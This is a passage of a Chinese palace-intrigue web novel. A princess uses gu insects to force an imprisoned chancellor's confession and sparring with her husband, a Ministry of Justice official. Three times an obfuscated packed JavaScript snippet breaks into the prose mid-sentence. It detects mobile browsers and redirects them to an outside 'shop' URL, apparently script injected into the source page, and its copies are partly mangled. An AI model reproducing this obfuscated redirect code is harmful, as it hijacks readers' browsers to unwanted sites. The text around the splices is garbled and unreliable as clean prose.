云归玉的表情一瞬间沉下来。 这个老匹夫! 但她又很快平静下来。 此人果真是个老狐狸,到这份儿上了,还想着激怒她以获取更多情报。 她没忘记今天来这里的目的。 皇后斗倒了谢贵妃,但心里很清楚,只有谢相真正倒台,谢贵妃才不会有朝一日又从冷宫里搬出来。 然而谢言成虽然已经下狱,且人证物证俱在,有司却迟迟无法定他的罪。 只因按照大楚律法,三品以上文官重臣,除了人证物证之外,还需有口供,三证俱齐,才可最终定罪。 若是谢言成一直不认罪,便也只能一直给他关牢里,可只要不定罪,往后就容易有变数。 按理来说,口供向来也不是问题,毕竟很少有人能在刑讯之下守口如瓶。 但神洲中原王朝,历来有“刑不上大夫”的传统,对于谢相这种级别,更是不能刑讯逼供。 本来呢,不能用刑具,也不是什么大事,毕竟律法只规定不能上刑具,但诸如克扣饭食、冬日不供棉被、夜间制造光亮和声响不让犯人入睡等种种行为却并不受限,这类折磨也很少有犯人能长久经受。 可谢言成能。 别看他为相时媚上欺下,但他十分明白什么时候该有骨气,什么时候不该有骨气。 此事便僵在了这里。 一年了,谢贵妃待在冷宫,谢相待在大牢,可那最后一刀悬在那里,就是迟迟砍不下去。 皇后已然有些心急了。 云归玉背后的右手衣袖里,有只小虫子掉了出来,悄然爬上了墙,绕到谢言成背后,无声钻进了他的囚服中。 她笑了一声,语气不紧不慢道:“其实大人很清楚,你已经翻不了身了。” “真正想对大人下手的人,是皇上。这么多年,你为皇上搜刮民脂民膏,聚敛天下之财,表面上是再造了一个盛世,可实际上,民间早已怨声载道。” “但你这么做,其实是皇帝的意思,你为他承担了所有骂名。” “而如今既然事已败露,你就是唯一的替罪羊。” 她与皇后所做的,便是借贵妃的手制造巫蛊之祸,引蛇出洞,然后依据皇帝的心思,顺势而为,推波助澜罢了。 “让我想想,史官会怎么说?” “后宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898000|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场巫蛊之祸,牵扯出奸相滔天重罪。” 自古帝王有污点,把过错推给后宫争斗和奸臣争利便是,皇帝自是清清白白,英明神武。 这是惯用的手段。 目的达到,又甩下诛心之语,云归玉不欲再多待,敲了敲铁门,门外看守便拿来钥匙开门。 她整了整衣袖,施施然走了。 狱门重新关上,谢言成垂下了头,墙面上映着他的影子,脊背有些佝偻。 *** “你怎么在这里?” 历铮下了早朝,回到刑部公廨,一眼就看到云归玉大摇大摆地坐在前厅。 “夫君,我来给你送饭啊。”云归玉指了指桌上精致的红木八宝食盒。 历铮:“……” 有了早先束发那出,他完全不觉得她有这么好心,只怕又是来捉弄她的。 但公廨人来人往,他也不好当众拂她面子,只好在她对面坐下。 云归玉打开食盒,夹了一块小巧的糕点递到他嘴边,好整以暇的表情:“夫君,尝尝看。” 历铮现下已经习惯了她时不时来句“夫君”了,反正她若这么叫了,必是不怀好意。 只是,他好像并没得罪她吧? 历铮瞧了她半晌,直到路过的同僚已经开始交头接耳、窃窃私语,才有所动作,只是并未去吃嘴边的糕点。 “这么大的人了,哪还要娘子把饭喂到嘴边,同僚们该笑话我了,为夫自己来就可以了。” 他伸手,欲要接过她手中的筷子,却是在靠近她手腕的一瞬间变换动作,屈指将筷子一弹,那糕点便被直直投进了云归玉微张的小嘴中,一半卡进去,一半还在外边。 “娘子送饭来辛苦了,娘子先吃。” 云归玉:“……” 要她当众吐出来是不可能的,她可是堂堂郡主。 只好用舌将糕点卷进嘴中,嚼了两口咽下去。 历铮见她吃下去,表情如常,才拿起另一双筷子,夹了菜送进嘴里。 他判断云归玉并没有下毒。 若是他,存了心想要毒害一个人,又不知他的食物喜好的话,必定会在所有菜中都下毒,才能保证那人无论吃什么菜都会被毒到。 没有哪个聪明人下毒是靠赌的。 而既然方才的糕点没问题,那么其余菜也应没问题。 云归玉笑吟吟地问:“夫君,好吃吗?” “这可是我亲自……”她顿了下,“去引凤楼买的。” 历铮嚼了两下,皮笑肉不笑地看了她一眼。 他咽下口中食物,又夹了一筷子,伸到云归玉面前:“夫人,你也吃。” “我不饿,何况刚才已经吃过糕点了。” 历铮拿着筷子的手纹丝不动。 云归玉却不介意当众不给他面子,微笑着一动不动,嘴巴闭得紧紧的。 历铮猛地抓住她的右手,向自己这边一扯,云归玉一个不稳扑向前去,正要说话,便被喂了一筷子食物。 “……” 两人最后还是一人一筷子地吃完了食物,过程中你一句“夫君”我一句“娘子”,外人看来浓情蜜意,殊不知两人正在暗自较劲。 “我先回去了夫君,酉时我再来接你回家。”吃完最后一口,云归玉放下筷子。 历铮诚恳道:“我自己可以的,夫人你还是别来了。” 云归玉假装没听到,离开的背影不疾不徐。 有一手下羡慕道:“历侍郎,你夫人对你可真好。” 历铮感受着被酸得发苦的舌尖,拿起茶杯猛喝了几口,心想:这福气给你你要不要。 而到了酉时,历铮出了刑部大门,意外又不那么意外地看见一架豪华之至的马车。 马车上绣着银纹蟒蛇,图案和云归玉今日午时带的银蛇耳坠子相似,这是谁的车驾便不言而喻了。 历铮跨上车轴,拂帘弯腰进了马车。 云归玉正靠着车壁,手拿一本书在翻看,听见动静瞧了他一眼,没有说话。 其实她分明可以不来接他的,只是想到皇后的要求,脑子一抽便还是来了。 她不知道要如何与历铮拉近关系。 在宫里的时候,威逼与利诱就是最好的方法;出了宫来也一样,谢言成也中了她的蛊,想必不久便会招供。 可对于历铮,她直觉这两样都不会管用。 她放下书,挤了个笑容出来,正欲说点什么,却听历铮先行开口道: “夫人今日去刑部大牢,是做什么去了?” 云归玉缓缓收起了笑容。 6. 夜会 “不是说了吗?我是来给你送饭的。” “夫人怕是听错了,我不是问你来刑部做什么,而是问,你来‘刑部大牢’,做什么?” 云归玉面无表情。 历铮盯着她:“只要干了,总会留有蛛丝马迹,何况就算刑部有皇后安插的人,她也并不能一手遮天。” 他说到这份儿上,便是在表明,其实他已经猜到诸多事实。 云归玉表情淡淡:“我若不说,你会怎样?去皇上那儿告我的状吗?” 历铮似笑非笑道:“我是刑部侍郎,你擅闯刑部大牢,按律我是可以把你抓起来审问的。” 云归玉:“没有证据,你就想抓大楚的郡主?何况新婚不久就把自己的妻子关进大牢,历七公子,你可真行。” 历铮沉默。 车内寂静,相对无言。 半个时辰后,马车停下。 历铮率先下了车,正犹豫要不要扶,云归玉已然下车,只留下个纤细窈窕的背影。 他站在云归玉身后,从腰间锦袋里摸出一颗粉色珍珠,这是今日在大牢里捡到的。 视线落在云归玉的鞋子上,左边鞋子的金线凤凰眼球处也有一颗粉色珍珠,而右边鞋子的凤凰眼球,却是缺失的。 历铮想,谁说他没有证据? 他在原地站了片刻,目送着云归玉越走越远,眼神微微泛冷,最终还是手腕一抖,将那珍珠收进了锦袋。 今日暂且算了。 他早前去查看,牢中犯人并无异常。 再说,新婚不久就把妻子抓起来,确实有些不成体统。 门口,老管家徐叔带着一群仆从来迎。 云归玉站在门外,看到历府高门大柱、珠罗绮户,远目望去,屋舍殿宇连绵,占地极广。 门口匾额上有龙飞凤舞的大字“忠武王府”,其下还有一行小字,乃是御笔亲题:武定江山,忠守社稷。 历铮进门去,首先注意到了一大群婢女,个个亭亭玉立,白肤红唇。 他皱起眉头,这些,并不是王府里的人。 王府虽大,但历家人只有他和阿宁两个大男人,虽然护卫仆从众多,但大多为男子,向来阳盛阴衰,现在云归玉带来这一群女侍,瞧着倒是阴阳平衡了。 徐叔:“世子,郡主,晚膳已备好,可要现在就移步正厅用膳?” 历铮点点头,云归玉走在前头,他也不急着去追,就在后面落后两三步的距离。 然后他就看见,走两步就会碰到一只两只不知从哪里冒出的猫啊狗啊的,甚至还有孔雀。 狸奴“喵喵”白犬“汪汪”孔雀“啾啾”,围着云归玉打转转。 历铮:“……” 当他走到池塘边,发现还有天鹅的时候,已经半点都不惊讶了。 看来这位郡主还挺喜爱小动物,并且很受动物欢迎。 云归玉没有半点心虚,相当理直气壮:“你们王府气派归气派,就是太冷清了,我这是为王府添点活气儿。” “你说门口那两只石狮子,要是换成真狮子会不会更好?” 历铮嘴角微抽:“不用了。” *** 吃过饭后,历铮不知跑哪去了,云归玉换了身轻便易行的衣服,索性逛起了偌大的王府来。 皇帝信重,对忠武王无限荣宠,赏赐繁多。 忠武王毫不推辞,照单全收。 他不收也不行。 如他这等功绩,不收反而招致皇帝猜疑。 你如此高功,却不要官位,不要财宝,那你要什么?难不成是想要黄袍加身吗? 云归玉打算到处走走消食,在一片绿意盎然的竹林中,忽见一蹲着的人影。 她刚要迈步,那少年耳朵竟十分灵敏,在她还未走近之时,便抬起头来,见是她,高兴地扬声道:“弟妹殿下?” 云归玉头与他对视,瞧见一双清亮的眼睛。 她认得他。 是那日带头闹洞房那位,历铮的六哥,历海宁。 他左手右手各执一串糖葫芦,嘴里还嚼着什么。 云归玉本来是想直接离开的,毕竟她对哄傻子没兴趣,奈何他一声“弟妹”已经叫出了口。 她只好笑着回道:“是六哥啊,在这里干什么呢?” 历海宁咽下口中食物,说:“我想找小七,但是迷路了,所以蹲下看看蚂蚁能不能帮我指路。” 在自己家都能迷路啊。 ……倒也不怪他,毕竟历府确实太大了。 历海宁:“你知道小七在哪吗?” 云归玉本想说不知道,但忽又想到什么,话锋一转:“知道,我带六哥去吧。” 见历海宁毫不怀疑地点点头,她便一边带着历海宁到处乱走,一边用藏在袖中的手缓缓运功。 此时是个下蛊的好机会。 虽然那日与历铮做了约定,可她并不安心。 约定是什么?那是随时都可以反悔的东西。 从前在云鸢宫的时候,皇后身边除了她还有一位宫女,那人对皇后忠心耿耿,对她就像大姐姐对妹妹一样照顾,可后来才发现,她竟是别宫早早埋好的暗棋。 那一次,差点让整个云鸢宫的人都死无葬身之地。 从此以后,她总要对身边的人下蛊控制才会安心。 云归玉看着阿宁清澈的眼睛,在想给这个傻子下什么蛊比较好。 她一直没有对历铮下手,就是因为他太敏锐了,若是贸然对他下手,极有可能弄巧成拙,反被他发现她会蛊术的秘密。 但这个历家六郎却不同。 他心智有缺,只要蛊毒不发作,并不容易发现自己身上有蛊,而这个人又对历铮很重要。 不知为什么,她隐隐感觉,像历铮这种人,比起自己的命,大概更在乎历海宁的命。 对历海宁下蛊,说不定比对历铮本人下还有用。 “弟妹,这个给你。” 云归玉脚步一顿:“?” 只见历海宁从怀中摸出一物,献宝似的伸手递出。 那是一个玉色的雕像,看得出来是他自己雕的,工艺相当的潦草,除了能看出来雕的是个人外,什么也看不出来。 但是…… “这是?” 历海宁:“这是见面礼,我亲手雕的弟妹殿下!以后我又多一个家人啦,我很厉害的,我可以保护你!” 这雕的是她? 这好雕功,雕的不说栩栩如生,简直与她本人毫不相干。 运功的手指抽了抽,又缓缓松开。 云归玉叹了口气,把那玉雕收进了袖袋。 算了。 她何必算计一个傻子。 “六哥,你七弟就在前面,你快去吧,我先回房间了。” 云归玉怕自己后悔,赶紧把历海宁支走了。 而后她独自徐行,穿过一片树林,忽而视野开阔,来到一片平整的空地。 只见四周皆有兵器架,刀枪剑戟、斧钺钩叉,个个寒光发亮。 然后她就看到,历海宁找了半天的人,就在这儿。 桃花树下是青石原桌,桌上落花散布,摆着一个精致的银壶,和一个圆圆的酒坛子。 风声烈烈,呼啸不止。 一人身移影动,衣袍翻飞,手中长枪舞如游龙,掀起破风声阵阵。 云归玉掀裙坐在石凳上,不问自取地给自己倒了杯酒,边喝边看。 风声止,落叶平。 历铮练枪结束,走近石桌。 云归玉瞧见他额角汗珠,从袖袋中拿出一方巾帕,起身想要为他拭汗。 历铮侧身躲过。 无事殷勤,准没好事。 云归玉也不恼,笑道:“仗剑为侠,横刀为盗,而枪乃百兵之王,却是战场杀器。” “七郎莫非还是向往金戈铁马,想如你父亲一样,征战沙场,建功立业吗?” 一会儿是“历七公子”,一会儿是“夫君”,这会儿又换成“七郎”了。 历铮不去深究她的反复无常,只自顾自拿起酒坛仰头豪饮,饮毕,抢过云归玉手中帕子,优雅地擦了擦嘴。 云归玉轻啧一声。 心中腹诽:刚才给你你又不要,现在来抢?什么毛病。 历铮掀袍坐下,随意道:“我身体有疾,皇上和父亲都不让我从军。” 云归玉在他对面落座,一手托腮,有些好奇:“你既身体有疾,为何还要练武?难道练武可以强身健体,让你多活几年?” 历铮摇摇头:“太医说了,我的病应该好生将养,冬天不能冷着,夏天不能热着,累了就要歇着,还要保持心气平和,不能轻易动怒,不能大喜大悲。我寻思那和木头人有什么区别?这医嘱我是遵不了一点儿。” “结果你猜怎么着,月前太医给我例行诊病,说因着我这些年的折腾,可能剩下的寿命连十年都没有了,哈!” 云归玉不明白他怎么还能笑得出来的。 她刚想出言暗讽一二,对面那人却自顾自地接了下去。 “我十二岁之前,想像父兄一样做个将军,所以从小苦学骑射刀兵,遍览兵书,有一次偷偷跟着上了战场,杀敌数十人!” “十三岁入京后,陛下就再不肯放我走了,将军是做不成了,于是我便想着,做个行侠仗义的侠士也不错,所以我练内功、习剑术,专揍欺男霸女、横行乡里之徒!” “后来发现将那些不法之徒揍一顿扭送官府并无用处,于是我想,有司不公道,我便自己去主持这个公道……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898001|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云归玉听他讲着,脑中竟不自觉地出现了少年意气风发的种种画面。 无论是策马执枪、战场杀敌,还是习武练剑、行走江湖,或是吟诗作赋、挥毫泼墨,竟都毫不违和,一举一动,皆可入画。 她不自禁地接道:“所以你便去考科举,做了探花郎,上任刑部?” 历铮一笑:“对。” “你看,我想要做的,都做到了。” 他两手一摊:“既然注定活不长,为何不活得痛快一点呢?” 云归玉没想到他会说起这些。 如他们这种身份,最忌交浅言深。 可想到大婚那日他那来自各行各业、三教九流的朋友,她又不觉得惊讶了。 对他来说,大抵身份立场,有时也无甚重要。 她却是没有朋友的。 或许是喝了点酒的缘故,她竟然破天荒地也有了交谈的欲望。 但她张了张口,终是什么都没说。 历铮却是另起话头,问道:“听闻仪和郡主被皇后娘娘带入宫前,一直在山上学艺,那么,郡主想来会武?” 云归玉在心里思索。 皇后对外一直称她是自己远方表妹的女儿,只因幼时被一道士算出命中有劫,为躲劫而上山学艺,后来家逢变故,入京投奔皇后,才被带入宫中。 她斟酌道:“只会一点。” 若是回答完全不会,日后恐露出马脚。 历铮:“郡主都学些什么?” 这一问倒是把云归玉浅淡的醉意又问没了几分。 “一些花拳绣腿罢了,后来学艺不精,被师父赶下山了。” “郡主,可有兴趣与我切磋一番?” 云归玉:啊? 她忙道:“我不是你对手。” 自己精通的是蛊术,那点儿内功平日全为控蛊之用,蛊师伤人杀人讲究的是出其不意的暗潜之道,若是纯粹比武,她不可能胜过历铮这等从小习武的人。 但她又不能当着历铮的面儿大摇大摆地把蛊虫放出来。 历铮却似乎兴致来了,非要与她比武。 他单手一拍不远处的兵器架,震得一刀一剑飞了出来,他两手分别接住,一手执刀,另一手将剑柄递于她。 云归玉无奈接过。 历铮伸手作了个“请”的动作,微扬下巴:“让你三招。” 云归玉也被他激起了几分不服,一声冷笑,也不废话,运功起势,挥剑向他砍去。 她没有留手,一开始便是冲着他的要害而去,对面的少年果然没有还手,只是身形微晃,分明未见他后撤多少距离,却偏偏正好躲过了她的剑锋。 一连三次,她皆未得手。 历铮躲过她第三次进攻,一脚轻踩地面,轻功一起,拉开了与她的距离,随后轻笑一声,道:“三招已过,郡主,小心咯!” 语毕,他手腕一转,横刀向外,敛目看向了她。 那双眼睛极其专注,被他看着的时候,云归玉有种被猎人盯上,在劫难逃的错觉。 她握紧手中剑,凝神屏气,准备迎接历铮的攻击。 历铮没有给她太多时间,径直冲向她,几乎是一眨眼的时间,便闪到了她的眼前,银刀的光芒倒映在她的眼中。 云归玉立刻抬剑格挡,两兵相接,震得她手臂发麻,手指发抖,险些要握不住剑。 但没等她弃剑,手中剑便已被挑飞,反应过来时,肩头已横陈一刀。 刀刃向外,刀背向内。 虽是如此,但云归玉相信,若是历铮想,此时依旧能够一刀取她性命。 云归玉:“历七公子果然厉害,本郡主甘拜下风,可以把刀放下了吗?” 历铮却没有照做,持刀的手稳如磐石,问道:“郡主殿下,我们的约定,还作数吧?” 云归玉:“当然作数。” 历铮嘴角微勾,眼神仍有笑意,却暗含一丝警告:“那么,便请郡主,别做多余的事,也别有多余的心思。” 云归玉眯了眯眼,眼神亦如寒霜。 她有些生气了。 上一个敢拿刀指着她的人,坟头草已经三尺高了。 比剑比不过,不代表她真的就毫无还手之法。 二人无声对峙,弯月之下,一片静谧,只有落花如雨,徐徐飘散。 气氛微妙之际,终于找过来的历海宁无视空气中的紧绷,大摇大摆地走了过来,他嘴中嚼着什么食物,挠了挠头,口中含糊问道:“小七,弟妹,练剑呐?这是什么剑法?怪好看的。” 他咽下嘴中食物,一拍脑袋,恍然大悟道:“我知道了!这就是话本里说的情意绵绵剑、郎情妾意剑、夫唱妇随剑!” 历铮:“……” 云归玉:“……” 7. 庄园 “郎妾”、“夫妇”这无法反驳,但情意实属是无中生有了。 不过也没必要和他解释。 历铮一偏头,看了眼云归玉。 她因为方才练剑的缘故,面颊微粉,如同暖玉染上红霞,因为阿宁那句话而表情微嗔,中和了眉目的凌厉之感,反而显得眼若秋水,眉如远黛。 历铮放下了刀,由衷感叹道:“仪和郡主,确实很美。” 他神情坦荡,眼中只有欣赏之意。 云归玉猝不及防听到这句,半晌才道:“你可真是……” 历铮:“怎么?” 可真是让人羡慕。 上一刻还对她刀剑相向,这一刻却又能如此坦荡直白地夸赞她,说话做事全凭当下的心意。 被这么一打岔,云归玉方才的气也消了,于是率先离开。 历铮看着她的背影慢慢消失不见,才忍不住似的,蓦地吐了一口血。 历海宁走过来抚了抚他的背,不赞同道:“小七,为了在弟妹面前耍帅就不顾自己的身体,这是不对的。” 历铮:“……走了。” “站住。” 听到这沉稳的声线,历铮脚步一顿,倏然回头。 只见历海宁安静地看着他,神色认真。 这一瞬间,他仿佛又看到了曾经那个无所不能的六哥。 “哥?”历铮的声音有些发抖,带着一丝微弱的期待。 历海宁道:“以后不可以拿刀指着弟妹殿下,她是好人。” 一声“弟妹殿下”,让恍然的历铮回过神来,看到阿宁的眼睛还是那样纯真如孩童,并不像曾经那个大智若愚、洞察世事的六哥。 历铮自嘲一笑。 他的哥哥,并没有回来。 历铮并不赞同阿宁的说法,问:“你怎么知道她是好人?” 历海宁一字一句,认真解释道:“之前,她帮过我。” 历铮讶然。 *** 云归玉沐浴更衣后欲回房休息,却在廊道遇到了同样回房的历铮。 她瞥了他一眼,率先进屋,身后的历铮却没有进他的侧间,而是跟着她来到了桌前。 云归玉坐下给自己倒了杯茶,才抬眼道:“阁下还有事?” 历铮抱拳行了个礼,道:“方才对郡主刀剑相向,是我不对,我向你道歉,万望郡主原谅。” 云归玉惊讶地眨眨眼,又拿起茶杯,喝了一口。 “阿宁和我说,之前他一个人在街上被人欺负,是你帮了他。”历铮语气郑重,“他对我非常重要,谢谢你。” 她帮过历海宁?她自己怎么不记得。 云归玉凝神细想,才终于从记忆里扒拉出几个片段来。 一年前,她刚从宫里出来,搬到郡主府不久。 那时街上的百姓们还不认识她,她独自走在街上,只觉天朗气清,身心是从未有过的自由和舒畅。 于是路遇乐子时,也有兴趣停下观赏。 历海宁就是那个乐子。 少年手中拿着糖葫芦、饴糖人,怀里还抱着各种装着小食的油纸包,本是欢快地走在街上,却忽被几个锦衣华服的公子围住,言语调笑羞辱。 “哟,这不是大名鼎鼎的历家六公子吗?怎么还吃这些三岁孩童才吃的东西啊?” “六公子晚上回家,是不是还要找娘亲要奶吃啊?哈哈哈哈哈!” “六公子怎么一副甚是委屈的模样?怎么,要去找你七弟告状吗,嗯?” 少年涨红了脸,支支吾吾说不出话来,被一人拿手中折扇狠拍腕骨,手中东西散落一地。 那日云归玉并没有袖手旁观,而是在看够戏之后,上前把那几个纨绔揍了一顿。 倒也不是因她有多么好心,只是刚刚好,那四个人里,有三个都是她的仇人。 不过她救了历海宁是事实,所以历铮的一声谢,她也受之无愧。 “是有这么回事,那你准备怎么谢我?” 历铮:“伸手。” 云归玉就是随口一问,没想到他还真的准备了谢礼? 她有些狐疑,但还是伸出了手。 历铮将手放在云归玉摊开的手上方,半握的手松开,便有样东西掉在了云归玉的手心。 云归玉低头一看,是一颗粉色的珍珠。 她不明所以,问:“就这?” 历铮:“郡主不妨再仔细看看。” 云归玉不论怎么看,这也只是一颗普通的粉色珍珠。 历铮:“这是你那日落在刑部大牢里的东西,如今物归原主,随你处置。” 云归玉立刻反应过来,原来历铮手上一直有她去刑部大牢的证据。 她收了珍珠,说:“那我便却之不恭了。” 历铮转身离开,留下一句:“安寝吧,愿君好眠。” 云归玉垂眸:好眠吗,对她这种人来说,这可并非易事啊。 然而或许是因为与历铮比试后有些疲倦,今夜,她竟没过多久就睡着了。 这一觉睡得沉,云归玉醒来时,历铮已经去公廨了。 她慢悠悠起身,泡了壶茶看了会儿书,瞧着快到午时了,又带着午膳去了刑部。 做戏要做全套,她如果只带一天饭,难免惹人怀疑。 况且她还要随时把控谢言成的动向。 就这样每日送饭,不知不觉已到了第七日。 云归玉照旧坐在历铮对面,大抵是因为过了这么些天,两人都已经习惯中午在衙门一起吃饭,因此吃的也算心平气和。 她吃到一块牛肉,正辣的找水喝的时候,有手下快步走到历铮身边,在他耳边低声说了句什么。 历铮放下筷子,点头道:“知道了,下去吧。” 云归玉观他表情,料想是谢言成招供了,于是开口试探:“恭喜夫君,可以向陛下交差了。” 历铮知她能猜出来,倒也不觉得有什么瞒的必要,神情淡淡,回道:“也恭喜郡主,可以向皇后交差了。” 云归玉目的达到,并不在意他言语中的讽意,满意地停了筷子:“我吃饱了,夫君,酉时见。” 碧溪上前,收走了桌上的碗筷和食盒。 转身要走之际,手腕忽然被攥住。 “夫君还有事?”她问。 历铮定定看了她半晌,终是松开了手。 事已至此,多说无益。 不论是不是云归玉做了什么,才让谢言成招供,在他把那颗珍珠交到她手上的时候,就已经决定不再追究了。 她帮过阿宁,这个人情,他得还。 “今日不必来接我。”他说。 云归玉:“为何?” 历铮本可以回一句“与你何干”,但不知为何,他还是实话说道:“明日休沐,我要与友人相聚,今日我会及早下衙,宿在紫洛园,不回府。” 云归玉饶有兴趣,问:“我能去吗?” 历铮有些莫名其妙。 “我们一群男人喝酒聊天,骑马射箭,你去干嘛?” 云归玉:“我从宫里出来后,还未去过紫洛园,听说那里是个好去处,想去看看究竟。若确实是好,日后也可常去。” 历铮想了想,道:“也行。” 云归玉:“那么,我还是到衙署接你。” 历铮点点头,说:“叫阿福把雪稚也一并带过来。” *** 雪稚是一匹极为高大俊美的马,这马通身雪白,唯有额前有一丝青灰色的鬃毛。 据说它是历铮在北武的时候,忠武王送他的生辰礼物,还曾随他上过战场,在历铮心中意义非凡。 阿福牵着马,云归玉和碧溪坐在马车上,等历铮下衙。 一炷香后,历铮从衙署出来,见到雪稚时,眼神顿时一亮,他快步上前,温柔地摸了摸它的脑袋和鬃毛。而后对着车帘后的云归玉点头示意,利落上马,道:“出发,去紫洛园。” 车夫应了一声,驱车前行。 马车驶过一条种满梧桐和松柏的大道,最后停在一处庄园门前。 历铮率先下马,朝云归玉伸出一只手,她便就着他的手借力,下了马车。 庄园内是各种亭台楼榭,有的建于湖心,有的建于平地,有的架在高楼,有低有高,各亭之间飞廊相连。 亭内聚着不同的人群,有的玩投壶,有的摸牌九。 后方则是一处宽阔的空地,那里有马棚,有箭靶,还有马球的球门。 历铮带着云归玉来到西北角的一座阁楼,这处阁楼位于庄园的地势最高处,可将庄园内的人物景态尽收眼底,一览无余。 阁楼里有可供休息的隔间,里面有点心瓜果酒水,还有美人相伴。 历铮:“郡主是想随我去马场,还是自己玩?” 云归玉已经坐在了软垫上,吃着碧溪在一旁剥好送到嘴边的葡萄,闻言懒懒道:“我又不会骑马,跟你去马场做什么。” 历铮见她这一副享受的模样,抽了抽嘴角,说:“那郡主请自便。” 然后便被找过来的孟煊勾肩搭背地拉走,去马场和兄弟们骑马射箭去了。 待历铮离去,她推开碧溪又送到嘴边的吃食,站起身来,在阁楼上往下扫视一圈,心里有了数,道:“不必跟着。” 云归玉下了阁楼,目标明确地去了正在进行投壶的那座亭子。 亭子的一边摆着一个壶,另一边的地上横陈着条红丝带,划定了站立者投掷时不能超过的界限。 “好!” “十发十中!不愧是九郎!” “九郎,你这是完全不给别人一点机会啊!” 云归玉来时,亭子中正爆发出一阵阵的喝彩,显然是有人投中了。 众人见她来,喧闹声渐止,纷纷行礼:“郡主殿下。” 原本拥挤的众人为他让开了路,只见红线外有一青衣男子立着,也对她行了个礼。 此人正是方才众人口中的九郎,也是云归玉的目标。 谢相免职后,原御史大夫张跃擢升为相。 这个张九郎,正是张跃的儿子。 她好整以暇地开口,问:“见你们玩得开心,本郡主也想来试试。” 在这里的,俱是王公贵族家的少年少女们,虽敬她郡主的身份,却也没什么畏惧,听她如此说,便也有人大声答道:“好啊!郡主想和谁比?” 云归玉笑道:“自然是最厉害的。” “我们这最厉害的,当是九郎。” 张九郎被众人簇拥者推出来,将箭筒奉向云归玉,道:“郡主先请。” 有胆大的还道:“郡主,我们这儿比试可是要给彩头的,你若输了,准备给什么?” 云归玉从袖中拿出一个紫檀木盒放在桌上,说:“这里面装的是雪苓丹,我便以此作为彩头。” 她将箭筒推回,“张公子先请。” 张九郎眼神一动,看了眼那木盒,说:“那在下便恭敬不如从命了。” 他没有留手,依旧是十发箭矢,全部投进了壶里。 张九郎:“郡主,该你了。” 云归玉颔首,拿起一支箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898002|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矢,眯了眯眼,做好了投壶的姿势。 片刻后。 众人唏嘘,却又不敢嘲笑出声。 郡主这准头……简直一言难尽。 方才见她那架势,还以为是老手,结果十支箭矢,愣是一发没中。 一瞧姿势宛如高手,一看位置全在壶外。 云归玉挑了挑眉,道:“是我技不如人,这彩头,便归张九郎了。” 张九郎拱手说:“承让,郡主殿下。” 云归玉摆摆手,离开亭子。 张九郎看着她的背影,忽而转头看向方才投壶的位置。 他上前一步,拿掉中间的壶,一番观察后,怔在了原地。 仪和郡主方才所投箭矢,若将落点相连,竟是一个“礼”字。 她分明是故意让他赢的。 *** 云归玉又去了几个亭子,玩了牌九,掷骰,飞花令,虽然都输了,可她心情却是不错。 “咦,这不是我们仪和郡主吗?怎么一个人在这里?” “向来听闻郡主才貌双全,怎么今日做什么都输?” “郡主,可要跟咱们也玩玩?咱们一定让您赢一把!哈哈哈哈!” 云归玉看着那结伴走近的几人,暗暗翻了个白眼。 为首那人乃是德妃之子,宁康王。 酒囊饭袋一个,皇帝看不上他,所以即使子嗣凋零,又废了前太子,也不愿立这个皇长子为太子,只封了个郡王给他。 如今谢贵妃倒台,原本和德妃平级的云妃成了皇后,若是生下皇子,那便是嫡子,宁康王便又少了几分机会,因此德妃一派和皇后,可谓水火不容。 云归玉深深叹了口气。 若非皇后需要,她才懒得来这种地方,既要不着痕迹地讨好一些人,还要应付一些故意撞上来找茬的家伙。 麻烦。 宁康王为郡王,倒是不惧她郡主的身份,可若是觉得她是个任人揉捏的软柿子,那便是他的失算了。 “那倒不必了。” 几人转头往声源出看去,见是历铮走了过来。 “我夫人今日已经很累了,几位若是想尽兴,改日历某奉陪便是。”他拉过云归玉的手腕,也不等那几人的答复,径自离开。 “王爷,就这么让他们走了?” 宁康王咬牙:“那怎么办?他是历铮!” 且不说他母妃千叮万嘱要他拉拢历家,就说他自己,就从没从历铮手上讨到好过! 他是王爷又怎样?历铮是忠武王世子,将来袭爵不也是王爷?更何况,父皇也向来偏心他! *** 历铮拉着云归玉走出了庄园,一直到一个荒无人迹的小路上,才停下来。 云归玉一直被他拽着,好几次挣脱而不得,看在他方才为她解围的份上,也没计较,由着他拉。 现下终于松开,她揉了揉手腕。 沉默几息,历铮开口道:“以后这种场合,我不会再带你来。” 云归玉问:“为何?” 历铮不答,却是反问她道:“郡主今日,输得可还满意?” 云归玉拂袖,皱眉道:“本郡主听不懂你在说什么。” 历铮见她不肯承认,抱着手臂,说:“你与张九比投壶,将雪泠丹输给了他。雪泠丹此物,正可治张相父亲的咳疾。” 